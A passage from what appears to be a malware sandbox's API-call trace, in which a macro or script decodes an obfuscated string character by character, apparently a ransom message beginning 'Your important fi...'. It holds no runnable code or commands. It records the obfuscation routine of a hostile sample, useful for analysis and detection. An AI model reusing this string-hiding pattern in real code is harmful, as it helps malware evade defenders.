rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.389] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.389] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.389] VarParseNumFromStr (in: strIn="&H01", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.389] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0175.390] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.390] VarParseNumFromStr (in: strIn="&H15", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.390] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.390] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0175.390] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.390] VarParseNumFromStr (in: strIn="&H07", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.390] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0175.391] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.391] VarParseNumFromStr (in: strIn="&H1D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.391] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.391] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.392] VarParseNumFromStr (in: strIn="&H04", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.392] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0175.392] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.392] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.392] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0175.393] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.393] VarParseNumFromStr (in: strIn="&H5E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.393] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.393] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="?") returned 1 [0175.393] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.393] VarParseNumFromStr (in: strIn="&H61", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.393] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="\r") returned 1 [0175.394] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.394] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.394] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0175.394] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.395] VarParseNumFromStr (in: strIn="&H2B", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.395] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="Y") returned 1 [0175.395] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.395] VarParseNumFromStr (in: strIn="&H06", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.395] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.396] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.396] VarParseNumFromStr (in: strIn="&H14", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.396] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.396] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0175.396] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.396] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.396] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0175.397] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.397] VarParseNumFromStr (in: strIn="&H41", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.397] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.397] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.397] VarParseNumFromStr (in: strIn="&H05", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.397] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0175.398] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.398] VarParseNumFromStr (in: strIn="&H08", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.398] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0175.398] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.399] VarParseNumFromStr (in: strIn="&H02", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.399] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0175.399] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.399] VarParseNumFromStr (in: strIn="&H06", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.400] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0175.400] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.400] VarParseNumFromStr (in: strIn="&H13", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.401] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0175.401] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.401] VarParseNumFromStr (in: strIn="&H22", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.401] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.402] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.402] VarParseNumFromStr (in: strIn="&H00", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.402] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0175.402] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.402] VarParseNumFromStr (in: strIn="&H02", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.402] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0175.403] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.403] VarParseNumFromStr (in: strIn="&H11", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.403] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0175.403] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.404] VarParseNumFromStr (in: strIn="&H52", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.404] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e04, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0175.404] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.404] VarParseNumFromStr (in: strIn="&H0F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.405] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x14f5e2c, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0175.405] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.405] VarParseNumFromStr (in: strIn="&H08", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.405] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 0x0 [0175.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18ea96, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="a\x01Lì\x18", lpUsedDefaultChar=0x0) returned 1 [0175.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea6c, cbMultiByte=1, lpWideCharStr=0x1465adc, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0175.406] VarAdd (in: pvarLeft=0x18eac4, pvarRight=0x18eae4, pvarResult=0x18ead4 | out: pvarResult=0x18ead4) returned 0x0 [0175.406] VarParseNumFromStr (in: strIn="&H3A", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ea4c, rgbDig=0x18ea2c | out: pnumprs=0x18ea4c, rgbDig=0x18ea2c) returned 0x0 [0175.406] VarNumFromParseNum (in: pnumprs=0x18ea4c, rgbDig=0x18ea2c, dwVtBits=0x8, pvar=0x18ea7c | out: pvar=0x18ea7c) returned 